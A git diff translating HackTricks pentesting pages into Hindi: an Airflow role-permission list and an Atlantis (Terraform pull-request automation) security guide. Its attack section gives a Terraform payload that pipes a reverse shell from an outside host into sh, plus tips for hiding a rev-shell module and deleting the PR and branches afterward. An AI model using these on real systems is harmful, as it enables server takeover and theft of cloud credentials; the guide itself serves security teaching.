ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Views/Menus पर Permission पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[DAGs पर पढ़ सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index a4b35140f..6df4f17e7 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,109 +4,109 @@ ### Basic Information -Atlantis basically helps you to to run terraform from Pull Requests from your git server. +Atlantis मूल रूप से आपको आपके git सर्वर से Pull Requests से terraform चलाने में मदद करता है। ![](<../images/image (161).png>) ### Local Lab -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. **atlantis releases page** पर जाएं [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) और **डाउनलोड** करें जो आपके लिए उपयुक्त हो। +2. अपने **github** उपयोगकर्ता का **व्यक्तिगत टोकन** (repo एक्सेस के साथ) बनाएं। +3. `./atlantis testdrive` चलाएं और यह एक **डेमो repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**। +1. आप 127.0.0.1:4141 में वेब पृष्ठ तक पहुँच सकते हैं। ### Atlantis Access #### Git Server Credentials -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis** कई git होस्ट जैसे **Github**, **Gitlab**, **Bitbucket** और **Azure DevOps** का समर्थन करता है।\ +हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **विशेषाधिकार प्राप्त एक्सेस की आवश्यकता होती है** (कम से कम लिखने की अनुमति)।\ +[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं। > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis खाता** एक बहुत ही **दिलचस्प** **समझौता करने के लिए** होगा। #### Webhooks -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **वैध** हैं। -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को अनुमति दें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है। -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होगी। > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantis **webhooks** को **exposing** करने जा रहा है ताकि git सर्वर इसे जानकारी भेज सके। एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प होगा कि **क्या आप इसे संदेश भेज सकते हैं**। #### Provider Credentials [From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **चलाकर** चलाता है जिस पर **Atlantis होस्ट किया गया है**। जैसे ही आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है। -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +यह आपके ऊपर है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [क्रेडेंशियल्स कैसे प्रदान करते हैं](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info): -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) और [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें। +- यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं, जैसे: +- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) ( "EC2 Role" के लिए खोजें) +- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहां Atlantis चल रहा है। +- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहां Atlantis चल रहा है। +- प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) का उपयोग करें। > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> **Container** जहां **Atlantis** **चल रहा है** उसमें उच्च संभावना है कि **विशेषाधिकार प्राप्त क्रेडेंशियल्स** हों प्रदाताओं (AWS, GCP, Github...) के लिए जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है। #### Web Page -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost में पोर्ट 4141 पर चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)। -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से **इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है** (और यदि हैं तो `atlantis`:`atlantis` **डिफ़ॉल्ट** हैं)। ### Server Configuration -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +`atlantis server` के लिए कॉन्फ़िगरेशन को कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों के मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है। -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- आप [**यहाँ फ्लैग की सूची**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं। +- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित करें**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) -Values are **chosen in this order**: +मान मानने का **यह क्रम** है: -1. Flags -2. Environment Variables -3. Config File +1. फ्लैग +2. पर्यावरण चर +3. कॉन्फ़िग फ़ाइल > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> ध्यान दें कि कॉन्फ़िगरेशन में आप **tokens और passwords** जैसे दिलचस्प मान पा सकते हैं। #### Repos Configuration -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +कुछ कॉन्फ़िगरेशन **कैसे repos का प्रबंधन किया जाता है** को प्रभावित करते हैं। हालाँकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाँकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं की जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के। +1. शायद `allowed_overrides` या `allow_custom_workflows` जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए। +2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला एक yaml है (regexes समर्थित)। +3. **डिफ़ॉल्ट** मान **PR Protections** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR** को किसी और द्वारा **`approved`** किया जाए (यहां तक कि यदि वह शाखा सुरक्षा में सेट नहीं है) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है। -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +यदि `allowed_overrides` सत्य है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**। **Scripts** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स** को चलाने के लिए [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) निर्दिष्ट कर सकता है जब एक **workflow निष्पादित होता है।** -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **निर्दिष्ट** करने की कोई विकल्प नहीं है। **Workflow** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.** +Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow निर्दिष्ट कर सकते हैं**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), या [**नए कस्टम workflows बनाएं**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**।** आप यह भी **निर्दिष्ट** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच सकते हैं**।\ +फिर, आप प्रत्येक repo के **atlantis.yaml** फ़ाइल को **उपयोग करने के लिए workflow निर्दिष्ट करने की अनुमति दे सकते हैं।** > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने के लिए निर्दिष्ट करे कि किस workflow का उपयोग किया जाने वाला है।\ +> यह मूल रूप से **Atlantis सर्वर में RCE किसी भी उपयोगकर्ता को देगा जो उस repo तक पहुँच सकता है**। > > ```yaml > # atlantis.yaml @@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor **Conftest Policy Checking** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **नीतियों** को योजना आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग मामलों में शामिल हैं: -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना +- निर्माण के समय एक संसाधन के गुणों का दावा करना +- अनजाने में संसाधन हटाने को पकड़ना +- सुरक्षा जोखिमों को रोकना (जैसे। सार्वजनिक रूप से सुरक्षित पोर्ट को उजागर करना) -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +आप इसे कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में। ### Atlantis Commands -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: - +[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) आप Atlantis चलाने के लिए उपयोग कर सकने वाले विकल्प पा सकते हैं: ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - -### Attacks +### हमले > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> यदि शोषण के दौरान आपको यह **त्रुटि** मिलती है: `Error: Error acquiring the state lock` +आप इसे चलाकर ठीक कर सकते हैं: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis योजना RCE - नए PR में कॉन्फ़िगरेशन संशोधन -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकेंगे और एक PR उत्पन्न कर सकेंगे। यदि आप **`atlantis plan`** **को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है)**, **तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे**। +आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) के द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें: ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**स्टेल्थियर अटैक** -**Stealthier Attack** - -You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +आप इस अटैक को एक **स्टेल्थियर तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके: +- टेराफॉर्म फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड** कर सकते हैं जिसमें रेव शेल हो: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं। -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +- बाहरी संसाधन में, **ref** फ़ीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपा सकें**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **PR को मास्टर** में बनाने के बजाय Atlantis को ट्रिगर करने के लिए, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**। -- In the external resource, use the 